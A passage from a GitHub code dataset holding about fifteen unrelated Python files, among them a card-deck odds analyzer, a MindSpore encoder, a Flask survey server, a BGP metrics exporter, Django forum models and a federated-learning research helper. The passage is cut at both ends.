entries: list[ArrayEntries] = []\n start: list[Comment] = []\n for entry in body:\n if isinstance(entry, String):\n entries.append(ArrayEntries(entry))\n elif isinstance(entry, Comment):\n (entries[-1].comments if len(entries) else start).append(entry)\n\n body.clear()\n indent_text = \" \" * indent\n for entry in start:\n body.append(Whitespace(f\"\\n{indent_text}\"))\n entry.indent(0)\n body.append(entry)\n for entry in sorted(entries, key=key):\n body.append(Whitespace(f\"\\n{indent_text}\"))\n body.append(entry.text)\n body.append(Whitespace(\",\"))\n if entry.comments:\n com = \" \".join(i.trivia.comment[1:].strip() for i in entry.comments)\n body.append(Comment(Trivia(comment=f\" # {com}\", trail=\"\")))\n body.append(Whitespace(\"\\n\"))\n\n\n__all__ = [\"ArrayEntries\", \"sorted_array\", \"order_keys\"]\n","repo_name":"abravalheri/pyproject-fmt","sub_path":"src/pyproject_fmt/formatter/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"32360247335","text":"import itertools\nimport math\nimport operator\nfrom collections import namedtuple, Counter, defaultdict\nfrom dataclasses import dataclass\nfrom fractions import Fraction\nfrom functools import reduce\nfrom typing import Dict, List\n\nfrom multiset import FrozenMultiset\n\nfrom perk_sheet_analyzer.aggregated_line import AggregatedLine\nfrom perk_sheet_analyzer.draw_scheme_statistics import DrawSchemeStatistics\n\nEITHER_ORDER = 2\nAggregatedLineWithOdds = namedtuple(\"AggregatedLineWithOdds\", \"aggregated_line odds\")\n\n\n@dataclass\nclass DeckStatistics:\n normal: DrawSchemeStatistics\n advantage: DrawSchemeStatistics\n\n\ndef derive_statistics(deck: FrozenMultiset, atk_range: range) -> Dict[int, DeckStatistics]:\n statistics = DeckStatistics(DrawSchemeStatistics(), DrawSchemeStatistics())\n\n # Possible optimization: Pre-calculate denominators involving deck_length and sequence_length.\n\n # Of all possible unique decks, there's still a lot of non-unique rolling and terminator collections.\n # That means an optimization is possible here, caching the result of this loop for given collections.\n # (This isn't done, but should be done at some point)\n deck_length = len(deck)\n rolling_cards = [card for card in deck if card.rolling]\n terminator_cards = [card for card in deck if not card.rolling]\n\n counted_terminator_cards = Counter(terminator_cards)\n\n for terminator_card, count in counted_terminator_cards.items():\n odds = Fraction(count, deck_length)\n terminated_aggregate = AggregatedLine.from_card(terminator_card)\n statistics.normal.add_aggregated_line(terminated_aggregate, odds)\n\n short_rolling_combinations = Counter()\n short_rolling_combinations.update([FrozenMultiset(c) for c in itertools.combinations(rolling_cards, 1)])\n\n lengthy_rolling_combinations = Counter()\n for length in range(2, len(rolling_cards) + 1):\n lengthy_rolling_combinations.update([FrozenMultiset(c) for c in itertools.combinations(rolling_cards, length)])\n\n # unique_rolling_combinations = short_rolling_combinations + lengthy_rolling_combinations\n # validate_permutation_count(rolling_cards, unique_rolling_combinations) # Debug assertion\n\n short_rolling = terminate_rolling_combos(counted_terminator_cards, deck_length, short_rolling_combinations)\n for terminated_line in short_rolling:\n # Advantage gets odds times two because either order can happen and count when advantaged.\n statistics.advantage.add_aggregated_line(terminated_line.aggregated_line, terminated_line.odds * EITHER_ORDER)\n statistics.normal.add_aggregated_line(terminated_line.aggregated_line, terminated_line.odds)\n\n lengthy_rolling = terminate_rolling_combos(counted_terminator_cards, deck_length, lengthy_rolling_combinations)\n for terminated_line in lengthy_rolling:\n statistics.advantage.add_aggregated_line(terminated_line.aggregated_line, terminated_line.odds)\n statistics.normal.add_aggregated_line(terminated_line.aggregated_line, terminated_line.odds)\n\n two_card_odds_factor = Fraction(1, deck_length * (deck_length - 1))\n advantaged_terminator_pairs = list(itertools.combinations(terminator_cards, 2))\n deck_statistics_by_atk = {}\n for atk in atk_range:\n new_statistics = DeckStatistics(statistics.normal.make_copy(), statistics.advantage.make_copy())\n for terminator_pair in advantaged_terminator_pairs:\n add_terminal_adv_to_stats(new_statistics.advantage, terminator_pair, atk, two_card_odds_factor)\n\n deck_statistics_by_atk[atk] = new_statistics\n\n deck_statistics_by_atk[atk].normal.calculate_expected_damage(atk)\n deck_statistics_by_atk[atk].advantage.calculate_expected_damage(atk)\n\n # for i in atk_range:\n # assert deck_statistics_by_atk[i].normal.total_odds == 1 # Debug assertion\n # assert deck_statistics_by_atk[i].advantage.total_odds == 1 # Debug assertion\n\n return deck_statistics_by_atk\n\n\ndef add_terminal_adv_to_stats(advantage_stats, terminator_pair, atk, two_card_odds_factor):\n cmp = terminator_pair[0].adv_compare(terminator_pair[1], atk)\n if cmp == -1:\n al = AggregatedLine.from_card(terminator_pair[1])\n advantage_stats.add_aggregated_line(al, two_card_odds_factor * EITHER_ORDER)\n elif cmp == 1:\n al = AggregatedLine.from_card(terminator_pair[0])\n advantage_stats.add_aggregated_line(al, two_card_odds_factor * EITHER_ORDER)\n else:\n a = AggregatedLine.from_card(terminator_pair[0])\n advantage_stats.add_aggregated_line(a, two_card_odds_factor)\n b = AggregatedLine.from_card(terminator_pair[1])\n advantage_stats.add_aggregated_line(b, two_card_odds_factor)\n\n\ndef terminate_rolling_combos(counted_terminator_cards, deck_length, rolling_combos) -> List[AggregatedLineWithOdds]:\n terminated_aggregated_lines_with_odds = []\n for rolling_line, rolling_line_occurrence_count in rolling_combos.items():\n rolling_permutations = rolling_line_occurrence_count * math.factorial(len(rolling_line))\n aggregated_rolling_line = AggregatedLine.from_line(rolling_line)\n terminated_line_length = len(rolling_line) + 1\n odds_denominator = reduce(operator.mul, range(deck_length, deck_length - terminated_line_length, -1), 1)\n for terminator_card, count in counted_terminator_cards.items():\n odds = Fraction(rolling_permutations * count, odds_denominator)\n terminated_aggregate_line = aggregated_rolling_line.add_card(terminator_card)\n\n terminated_aggregated_lines_with_odds.append(AggregatedLineWithOdds(terminated_aggregate_line, odds))\n\n return terminated_aggregated_lines_with_odds\n\n\ndef validate_permutation_count(rolling_cards, rolling_combination_counts):\n # For debugging. Tests that the expected and actual number of arrangements for rolling cards are the same.\n s = defaultdict(int)\n for line, combination_occurrences in rolling_combination_counts.items():\n permutations = combination_occurrences * math.factorial(len(line))\n s[len(line)] += permutations\n for line_length, actual_permutations in s.items():\n rc_count = len(rolling_cards)\n expected_permutations = math.factorial(rc_count) // math.factorial(rc_count - line_length)\n print(line_length, actual_permutations, expected_permutations)\n assert actual_permutations == expected_permutations\n","repo_name":"JulesLetters/PythonPerkSheetAnalyzer","sub_path":"perk_sheet_analyzer/deck_analyzer.py","file_name":"deck_analyzer.py","file_ext":"py","file_size_in_byte":6416,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"73462359603","text":"import h5py\nimport numpy as np\nimport pdb\n\ndataset_dir = \"./datasets/splits/\"\nsplits = [\"0\", \"1\", \"2\", \"3\", \"4\"]\nn_beats = 1000\nfor split in splits:\n\tprint(\"Split: \", split)\n\tsplit_dir = dataset_dir + \"/split_\" + split \n\t\n\ttrain_file = h5py.File(split_dir + \"/train_three.h5\")\n\tlast_beat_file = h5py.File(split_dir + \"/train_one.h5\")\n\tfirst_three_beats = train_file['adjacent_beats'][:,:n_beats,:]\n\tlast_beat = last_beat_file['adjacent_beats'][:,2:n_beats+2,:128]\n\tadj_beats = np.concatenate([first_three_beats,last_beat], axis=2)\n\tmi_labels = train_file['mi_labels'][:]\n\tcvd_labels = train_file['cvd_labels'][:]\n\n\ttrain_new = h5py.File(split_dir + \"/train_four.h5\")\n\ttrain_new.create_dataset(\"adjacent_beats\", data=adj_beats)\n\ttrain_new.create_dataset(\"mi_labels\", data=mi_labels)\n\ttrain_new.create_dataset(\"cvd_labels\", data=cvd_labels)\n\ttrain_file.close()\n\ttrain_new.close()\t\n\tlast_beat_file.close()\n\t\n\ttest_file = h5py.File(split_dir + \"/test_three.h5\")\n\tlast_beat_file = h5py.File(split_dir + \"/test_one.h5\")\n\tfirst_three_beats = test_file['adjacent_beats'][:,:n_beats,:]\n\tlast_beat = last_beat_file['adjacent_beats'][:,2:n_beats+2,:128]\n\tadj_beats = np.concatenate([first_three_beats,last_beat], axis=2)\n\tmi_labels = test_file['mi_labels'][:]\n\tcvd_labels = test_file['cvd_labels'][:]\n\n\ttest_new = h5py.File(split_dir + \"/test_four.h5\")\n\ttest_new.create_dataset(\"adjacent_beats\", data=adj_beats)\n\ttest_new.create_dataset(\"mi_labels\", data=mi_labels)\n\ttest_new.create_dataset(\"cvd_labels\", data=cvd_labels)\n\ttest_file.close()\n\ttest_new.close()\n\tlast_beat_file.close()\n","repo_name":"divyashan/ecg_risk_stratification","sub_path":"parse_dataset/generate_four_beat.py","file_name":"generate_four_beat.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19635546654","text":"import mindspore\nfrom mindspore import Tensor\nimport mindspore.nn as nn\nfrom mindspore.nn import Conv2d\nimport mindspore.ops as ops\n\n__all__=[\"InstanceContextEncoder\"]\n\n\nclass PyramidPoolingModule(nn.Cell):\n\tdef __init__(self,in_channels,channels=512,sizes=(1,2,3,6)):\n\t\tsuper().__init__()\n\t\tself.stages=[]\n\t\tself.stages=nn.CellList([self._make_stage(in_channels,channels,size) for size in sizes])\n\t\tself.bottleneck=Conv2d(in_channels+len(sizes)*channels,in_channels,1,has_bias=False)\n\n\tdef _make_stage(self,features,out_features,size):\n\t\tprior=nn.AdaptiveAvgPool2d(output_size=(size,size))\n\t\tconv=nn.Conv2d(features,out_features,1,has_bias=True)\n\t\treturn nn.SequentialCell(prior,conv)\n\n\tdef construct(self,feats):\n\t\th, w = feats.shape[2], feats.shape[3]\n\n\t\tprior=[ops.ResizeBilinear((h,w))(ops.ReLU()(stage(feats))) for stage in self.stages]+[feats]\n\t\tout=ops.ReLU()(self.bottleneck(ops.Concat(axis=1)(prior)))\n\t\treturn out\n\n\n\nclass InstanceContextEncoder(nn.Cell):\n\tdef __init__(self,cfg,input_shape):\n\t\tsuper().__init__()\n\t\tself.num_channels = cfg.MODEL.SPARSE_INST.ENCODER.NUM_CHANNELS #256\n\t\tself.in_features = cfg.MODEL.SPARSE_INST.ENCODER.IN_FEATURES #[‘res3','res4','res5']\n\t\t# self.norm = cfg.MODEL.SPARSE_INST.ENCODER.NORM\n\t\t# depthwise = cfg.MODEL.SPARSE_INST.ENCODER.DEPTHWISE\n\t\tself.in_channels = [input_shape[f] for f in self.in_features]\n\t\t# self.using_bias = self.norm == \"\"\n\t\tfpn_laterals = []\n\t\tfpn_outputs = []\n\t\t# groups = self.num_channels if depthwise else 1\n\t\tfor in_channel in reversed(self.in_channels):\n\t\t\tlateral_conv = nn.Conv2d(in_channel, self.num_channels, 1,has_bias=True)\n\t\t\toutput_conv = nn.Conv2d(self.num_channels, self.num_channels, 3,has_bias=True)\n\t\t\tfpn_laterals.append(lateral_conv)\n\t\t\tfpn_outputs.append(output_conv)\n\t\tself.fpn_laterals = nn.CellList(fpn_laterals)\n\t\tself.fpn_outputs = nn.CellList(fpn_outputs)\n\t\t# ppm\n\t\tself.ppm = PyramidPoolingModule(self.num_channels, self.num_channels // 4)\n\t\t# final fusion\n\t\tself.fusion = nn.Conv2d(self.num_channels * 3, self.num_channels, 1,has_bias=True)\n\n\n\tdef construct(self, features): #features:dict\n\t\tfeatures = [features[f] for f in self.in_features]\n\t\tfeatures = features[::-1]\n\t\tprev_features = self.ppm(self.fpn_laterals[0](features[0]))\n\t\toutputs = [self.fpn_outputs[0](prev_features)]\n\n\t\tfor feature, lat_conv, output_conv in zip(features[1:], self.fpn_laterals[1:], self.fpn_outputs[1:]):\n\t\t\tlat_features = lat_conv(feature)\n\n\t\t\th,w=prev_features.shape[2],prev_features.shape[3]\n\t\t\ttop_down_features = ops.ResizeNearestNeighbor(size=(h*2,w*2))(prev_features)###\n\n\t\t\tprev_features = lat_features + top_down_features\n\t\t\toutputs.insert(0, output_conv(prev_features))\n\n\t\tsize = outputs[0].shape[2:]\n\t\tfeatures = [outputs[0]] + [ops.ResizeBilinear(size)(x) for x in outputs[1:]]\n\n\t\tfeatures = self.fusion(ops.Concat(axis=1)(features))\n\t\treturn features\n","repo_name":"hustvl/SparseInst","sub_path":"mindspore/sparseinst/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":540,"dataset":"github-code","pt":"75"} +{"seq_id":"44193000503","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val = 0, neighbors = None):\n self.val = val\n self.neighbors = neighbors if neighbors is not None else []\n\"\"\"\n\nclass Solution:\n def cloneGraph(self, node: 'Node') -> 'Node':\n if not node:\n return node\n \n seen = {}\n \n def dfs(curr):\n if curr in seen:\n return seen[curr]\n \n copy = Node(curr.val)\n seen[curr] = copy \n \n for nei in curr.neighbors:\n copy.neighbors.append(dfs(nei)) \n \n return copy\n \n return dfs(node) ","repo_name":"Ammar-Amjad/Leetcode","sub_path":"clone-graph/clone-graph.py","file_name":"clone-graph.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26890718683","text":"class Dog:\n tricks = []\n\n def __init__(self, name):\n self.name = name\n\n def add_trick(self, trick):\n self.tricks.append(trick)\n\n def __str__(self):\n return f\"Dog {self.name} can trick \" + \" \".join(self.tricks)\n\n\nmarv = Dog(\"Marv\")\nmarv.add_trick(\"jump\")\nprint(marv)\n\nsem = Dog(\"Sem\")\nsem.add_trick(\"swipe\")\nprint(sem)\nprint(marv)","repo_name":"Taraslut/Python_circle","sub_path":"11_summary/class_my.py","file_name":"class_my.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2802960423","text":"# Существует только одна тройка Пифагора, для которой a + b + c = 1000.\n# Найдите произведение abc.\\\n\ndef pythagoras_numbers(number):\n\tfor i in range(0, 1000):\n\t\tfor j in range(1, 1000):\n\t\t\tfor k in range(2, 1000):\n\t\t\t\t# print(f'i = {i},j = {j}, k = {k}')\n\t\t\t\tsum_number = i + j + k\n\t\t\t\tif sum_number == number:\n\t\t\t\t\tsum_square = i**2 + j**2\n\t\t\t\t\tk_square = k**2\n\t\t\t\t\tif sum_square == k_square:\n\t\t\t\t\t\tprint(f'a = {i}, b = {j}, c = {k}')\n\t\t\t\telse:\n\t\t\t\t\tprint('Решения не обнаружено')\n\t\t\t\tbreak\n\t\t\tbreak\t\n\t\tbreak\t\t\n\t\t\t\t\t\npythagoras_numbers(1000)\n","repo_name":"evilevgeniys/eiler_project","sub_path":"9.py","file_name":"9.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5925582286","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom typing import Dict, TypedDict\nfrom schemas import *\n\nimport os\nimport json\nimport importlib\n\n\napp = Flask(__name__)\nCORS(app)\n\napp.config[\"CORS_HEADERS\"] = \"Content-Type\"\n\n\n@app.route(\"/\")\ndef hello_world():\n return \"

Survey Visualizer

\"\n\n\n@app.route(\"/embeddings\", methods=[\"POST\"])\ndef embeddings() -> List[Embedding]:\n\n payload: EmbeddingRequest = json.loads(request.get_data().decode(\"utf-8\"))\n\n new_paper_data = payload[\"imagination\"]\n embeddings = [\n Embedding(UID=embedding[\"UID\"], x=embedding[\"pos\"][0], y=embedding[\"pos\"][1])\n for embedding in payload[\"embeddings\"]\n ]\n\n neighbor_pos = [\n list(filter(lambda x: x[\"UID\"] == neighbor[\"UID\"], embeddings))[0]\n for neighbor in new_paper_data[\"neighbors\"]\n ]\n\n x, y = 0, 0\n for pos in neighbor_pos:\n x, y = pos[\"x\"] / len(neighbor_pos), pos[\"y\"] / len(neighbor_pos)\n\n embeddings.append(Embedding(UID=0, x=x, y=y))\n return jsonify(embeddings)\n\n\n@app.route(\"/imagine\", methods=[\"POST\"])\ndef imagine() -> NewPaperData:\n\n data: RequestData = json.loads(request.get_data().decode(\"utf-8\"))\n\n domain = Domain.map_to_value(data[\"domain\"])\n caller = str(request.remote_addr).replace(\".\", \"_\")\n\n approach2uid = {}\n for paper in data[\"paper_data\"]:\n approach2uid[paper[\"slug\"].lower().replace(\"-\", \"_\")] = int(paper[\"UID\"])\n\n imagine = importlib.import_module(f\"{domain}_encoded\")\n result = imagine.find_k_new_papers(data[\"num_papers\"], caller)\n\n new_result = []\n for res in result:\n keymap = []\n for (i, digit) in enumerate(res[\"entry\"].split(\",\")):\n if digit == \"1\":\n keymap.append(imagine.all_features[i].name)\n new_neighbours = []\n for n in res[\"neighbours\"]:\n new_neighbours.append({\"UID\": approach2uid[n], \"transforms\": []})\n for f in res[\"neighbours\"][n]:\n new_neighbours[-1][\"transforms\"].append(\n {\"key\": f, \"value\": res[\"neighbours\"][n][f]}\n )\n new_result.append(\n {\n \"key_map\": keymap,\n \"neighbors\": new_neighbours,\n }\n )\n\n return jsonify(new_result)\n\n\nif __name__ == \"__main__\":\n app.run(debug=False, port=int(os.getenv(\"PORT\", 1234)), host=\"0.0.0.0\")\n","repo_name":"TathagataChakraborti/survey-visualizer","sub_path":"src/server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"35685802874","text":"import subprocess\nimport os\nimport json\nfrom prometheus_client import CollectorRegistry, Gauge, push_to_gateway\n\nvariable = subprocess.Popen(\"vtysh -c \\\"show bgp neighbors json\\\"\",stdout=subprocess.PIPE,shell=True)\npotato = variable.stdout.read()\njson_data = json.loads(potato)\nbgp_state_established_epoch = 0\n\nfor key, value in json_data.items():\n neighbor_ip = key\n print(f'Parsing neighbor: {key}')\n registry = CollectorRegistry()\n for key, value in value.items():\n if key == 'remoteAs':\n remote_as = value\n metric = Gauge('bgp_exporter_remote_as', 'Remote AS of the BGP session', ['instance', 'neighbor_ip'], registry=registry)\n metric.labels(instance='pfsense-frr-2', neighbor_ip=neighbor_ip).set(remote_as)\n if key == 'localAs':\n local_as = value\n metric = Gauge('bgp_exporter_local_as', 'Local AS of the BGP session', ['instance', 'neighbor_ip'], registry=registry)\n metric.labels(instance='pfsense-frr-2', neighbor_ip=neighbor_ip).set(local_as)\n if key == 'nbrDesc':\n neighbor_description = value\n metric = Gauge('bgp_exporter_neighbor_description', 'Description of the BGP session', ['bgp_host', 'instance', 'neighbor_ip'], registry=registry)\n metric.labels(bgp_host=neighbor_description, instance='pfsense-frr-2', neighbor_ip=neighbor_ip).set(0)\n if key == 'bgpState':\n bgp_state = value\n if bgp_state == 'Established':\n bgp_state = 1\n else:\n bgp_state = 666\n metric = Gauge('bgp_exporter_neighbor_state', 'State of the BGP session', ['instance', 'neighbor_ip'], registry=registry)\n metric.labels(instance='pfsense-frr-2', neighbor_ip=neighbor_ip).set(bgp_state)\n if key == 'bgpTimerUpEstablishedEpoch':\n bgp_state_established_epoch = value\n metric = Gauge('bgp_exporter_neighbor_timestamp', 'Establised timestap of the BGP session', ['instance', 'neighbor_ip'], registry=registry)\n metric.labels(instance='pfsense-frr-2', neighbor_ip=neighbor_ip).set(bgp_state_established_epoch)\n print(remote_as, local_as, neighbor_description, bgp_state, bgp_state_established_epoch)\n push_to_gateway('10.10.89.10:9091', job=neighbor_ip, registry=registry)\n","repo_name":"LaurentDumont/pfsense-frr-bgp-prometheus-exporter","sub_path":"export-bgp.py","file_name":"export-bgp.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33411068938","text":"#!/usr/bin/env python3\n\nimport os\n\nbash_command = [\"cd ~/devops-netology\", \"pwd\", \"git status\"]\nresult_os = os.popen(' && '.join(bash_command)).read()\n\nresult_path = result_os.split('\\n')[0]\n\nfor result in result_os.split('\\n'):\n if result.find('modified') != -1:\n prepare_result = result.replace('\\tmodified: ', '')\n result_full_path = result_path + \"/\" + prepare_result\n print(result_full_path)\n","repo_name":"eksenof/devops-netology","sub_path":"Python/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23691138528","text":"from django.db import models\n\n\nclass Category(models.Model):\n name = models.CharField(\n max_length=255,\n blank=False,\n null=False,)\n\n def __str__(self):\n return self.name\n\nclass Thread(models.Model):\n title = models.CharField(\n max_length=255,\n blank=False,\n null=False,\n default=\"無題\")\n\n view = models.IntegerField(\n blank=True,\n null=False,\n default=0)\n\n category = models.ForeignKey(\n Category,\n null=True,\n on_delete=models.SET_NULL)\n\n def __str__(self):\n return self.title\n\n\nclass Tag(models.Model):\n type = models.CharField(\n max_length=15,\n blank=False,\n null=False,\n unique=True)\n\n def __str__(self):\n return self.type\n\n\nclass Post(models.Model):\n IPaddress = models.GenericIPAddressField(\n blank=False,\n null=False)\n\n ipID = models.CharField(\n max_length=8,\n blank=True,\n null=False,\n default=\"xxxxxxxx\")\n\n created = models.DateTimeField(\n auto_now_add=True,\n editable=False,\n blank=False,\n null=False)\n\n name = models.CharField(\n max_length=15,\n blank=False,\n null=False,\n default=\"名無しさん\")\n\n body = models.TextField(\n max_length=255,\n blank=False,\n null=False)\n\n thread = models.ForeignKey(\n Thread,\n on_delete=models.CASCADE)\n\n tags = models.ManyToManyField(\n Tag,\n blank=True)\n\n def __str__(self):\n return str(self.id)","repo_name":"AK-8420/django_Keijiban","sub_path":"keijiban/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14483319713","text":"import importlib\nimport logging\nimport os\nimport random\nfrom shutil import copyfile\nfrom collections import defaultdict\n\nimport numpy as np\nimport torch\nimport yaml\n\nfrom attacks.attack import Attack\n# from defenses.fedavg import FedAvg as Defense\nfrom synthesizers.synthesizer import Synthesizer\nfrom tasks.task import Task\nfrom utils.parameters import Params\nfrom utils.utils import create_logger\nimport pandas as pd\nlogger = logging.getLogger('logger')\n\n\nclass Helper:\n params: Params = None\n task: Task = None\n synthesizer: Synthesizer = None\n # defense: Defense = None\n attack: Attack = None\n\n def __init__(self, params):\n \n self.params = Params(**params)\n self.times = {'backward': list(), 'forward': list(), 'step': list(),\n 'scales': list(), 'total': list(), 'poison': list()}\n\n if self.params.random_seed is not None:\n self.fix_random(self.params.random_seed)\n \n self.make_folders()\n \n self.make_task()\n \n self.make_synthesizer()\n \n self.make_attack()\n \n self.make_defense()\n \n self.accuracy = [[],[]]\n \n self.best_loss = float('inf')\n\n def make_task(self):\n name_lower = self.params.task.lower()\n name_cap = self.params.task\n module_name = f'tasks.{name_lower}_task'\n path = f'tasks/{name_lower}_task.py'\n logger.info(f'make task: {module_name} name_cap: {name_cap} path: {path}')\n try:\n task_module = importlib.import_module(module_name)\n task_class = getattr(task_module, f'{name_cap}Task')\n except (ModuleNotFoundError, AttributeError):\n raise ModuleNotFoundError(f'Your task: {self.params.task} should '\n f'be defined as a class '\n f'{name_cap}'\n f'Task in {path}')\n self.task = task_class(self.params)\n\n def make_synthesizer(self):\n name_lower = self.params.synthesizer.lower()\n name_cap = self.params.synthesizer\n module_name = f'synthesizers.{name_lower}_synthesizer'\n logger.info(f'make synthesizer: {module_name} name_cap: {name_cap}')\n try:\n synthesizer_module = importlib.import_module(module_name)\n task_class = getattr(synthesizer_module, f'{name_cap}Synthesizer')\n except (ModuleNotFoundError, AttributeError):\n raise ModuleNotFoundError(\n f'The synthesizer: {self.params.synthesizer}'\n f' should be defined as a class '\n f'{name_cap}Synthesizer in '\n f'synthesizers/{name_lower}_synthesizer.py')\n self.synthesizer = task_class(self.task)\n\n def make_attack(self):\n name_lower = self.params.attack.lower()\n name_cap = self.params.attack\n module_name = f'attacks.{name_lower}'\n logger.info(f'make attack: {module_name} name_cap: {name_cap}')\n try:\n attack_module = importlib.import_module(module_name)\n attack_class = getattr(attack_module, f'{name_cap}')\n except (ModuleNotFoundError, AttributeError):\n raise ModuleNotFoundError(f'Your attack: {self.params.attack} should '\n f'be defined either ThrDFed (3DFed) or \\\n ModelReplace (Model Replacement Attack)')\n self.attack = attack_class(self.params, self.synthesizer)\n\n def make_defense(self):\n name_lower = self.params.defense.lower()\n name_cap = self.params.defense\n module_name = f'defenses.{name_lower}'\n try:\n defense_module = importlib.import_module(module_name)\n defense_class = getattr(defense_module, f'{name_cap}')\n except (ModuleNotFoundError, AttributeError):\n raise ModuleNotFoundError(f'Your defense: {self.params.defense} should '\n f'be one of the follow: FLAME, Deepsight, \\\n Foolsgold, FLDetector, RFLBAT, FedAvg')\n self.defense = defense_class(self.params)\n\n def make_folders(self):\n log = create_logger()\n if self.params.log:\n os.makedirs(self.params.folder_path, exist_ok=True)\n\n fh = logging.FileHandler(\n filename=f'{self.params.folder_path}/log.txt')\n formatter = logging.Formatter('%(asctime)s - %(filename)s - Line:%(lineno)d - %(levelname)-8s - %(message)s')\n \n fh.setFormatter(formatter)\n log.addHandler(fh)\n\n with open(f'{self.params.folder_path}/params.yaml.txt', 'w') as f:\n yaml.dump(self.params, f)\n # log.info(f\"Creating folder {self.params.folder_path}\")\n \n\n def save_model(self, model=None, epoch=0, val_loss=0):\n\n if self.params.save_model:\n logger.info(f\"Saving model to {self.params.folder_path}.\")\n model_name = '{0}/model_last.pt.tar'.format(self.params.folder_path)\n saved_dict = {'state_dict': model.state_dict(),\n 'epoch': epoch,\n 'lr': self.params.lr,\n 'params_dict': self.params.to_dict()}\n self.save_checkpoint(saved_dict, False, model_name)\n \n if epoch in self.params.save_on_epochs:\n logger.info(f'Saving model on epoch {epoch}')\n self.save_checkpoint(saved_dict, False,\n filename=f'{self.params.folder_path}/model_epoch_{epoch}.pt.tar')\n if val_loss < self.best_loss:\n self.save_checkpoint(saved_dict, False, f'{model_name}_best')\n self.best_loss = val_loss\n\n logger.info(f\"Done saving model to {self.params.folder_path}.\")\n def save_update(self, model=None, userID = 0):\n folderpath = '{0}/saved_updates'.format(self.params.folder_path)\n # logger.info(f\"Saving update to {folderpath}.\")\n \n # if not os.path.exists(folderpath):\n # os.makedirs(folderpath)]\n # import IPython; IPython.embed()\n # exit(0)\n os.makedirs(folderpath, exist_ok=True)\n update_name = '{0}/update_{1}.pth'.format(folderpath, userID)\n torch.save(model, update_name)\n # logger.info(f\"Saving update to {update_name}.\")\n\n def remove_update(self):\n for i in range(self.params.fl_total_participants):\n file_name = '{0}/saved_updates/update_{1}.pth'.format(self.params.folder_path, i)\n if os.path.exists(file_name):\n os.remove(file_name)\n os.rmdir('{0}/saved_updates'.format(self.params.folder_path))\n if self.params.defense == 'Foolsgold':\n for i in range(self.params.fl_total_participants):\n file_name = '{0}/foolsgold/history_{1}.pth'.format(self.params.folder_path, i)\n if os.path.exists(file_name):\n os.remove(file_name)\n os.rmdir('{0}/foolsgold'.format(self.params.folder_path))\n\n def record_accuracy(self, main_acc, backdoor_acc, epoch):\n self.accuracy[0].append(main_acc)\n self.accuracy[1].append(backdoor_acc)\n name = ['main', 'backdoor']\n acc_frame = pd.DataFrame(columns=name, data=zip(*self.accuracy), \n index=range(self.params.start_epoch, epoch+1))\n filepath = f\"{self.params.folder_path}/accuracy.csv\"\n acc_frame.to_csv(filepath)\n logger.info(f\"Saving accuracy record to {filepath}\")\n\n def set_bn_eval(m):\n classname = m.__class__.__name__\n if classname.find('BatchNorm') != -1:\n m.eval()\n\n def save_checkpoint(self, state, is_best, filename='checkpoint.pth.tar'):\n if not self.params.save_model:\n return False\n torch.save(state, filename)\n\n if is_best:\n copyfile(filename, 'model_best.pth.tar')\n\n @staticmethod\n def fix_random(seed=1):\n from torch.backends import cudnn\n\n logger.warning('Setting random_seed seed for reproducible results.')\n random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n cudnn.deterministic = False\n cudnn.enabled = True\n cudnn.benchmark = True\n np.random.seed(seed)\n\n return True\n","repo_name":"mtuann/fedlearn-backdoor-attacks","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":8445,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"75"} +{"seq_id":"72910826162","text":"import os\nfrom glob import glob\n\nfor dir in glob('data/*'):\n print('-'*50)\n files = sorted(glob(f'{dir}/train/*.png')) + sorted(glob(f'{dir}/test/*.png'))\n get_name = lambda x: x.split('\\20')[-1]\n files = sorted(map(get_name, files))\n print(f'Loaded {len(files)} images from {dir} dataset')\n print(f'First image: {files[0]}')\n print(f'Last image: {files[-1]}')","repo_name":"ummadiviany/lake-forecast","sub_path":"src/freq.py","file_name":"freq.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31637971579","text":"#---------Apriory Algorithm--------------------------------------------------------------------------------------\r\n\r\ndataset=[['Milk','Onion','Nutmeg','Kidney Beans','Eggs','Yogurt'],\r\n ['Dill','Onion','Nutmeg','Kidney Beans','Eggs','Yogurt'],\r\n ['Milk','Apple','Kidney Beans','Eggs'],\r\n ['Milk','unicorn','corn','Kideny Beans','Yogurt'],\r\n ['corn','onoin','onion','kideny Beans','Ice cream','Eggs']]\r\nfrom tkinter import *\r\n\r\nwindow = Tk()\r\n\r\nwindow.title(\"Apriory Algorithm\")\r\n\r\nlbl1 = Label(window, text=\"Support count\", font=(\"Arial Bold\",40))\r\n\r\nlbl1.grid(column=0, 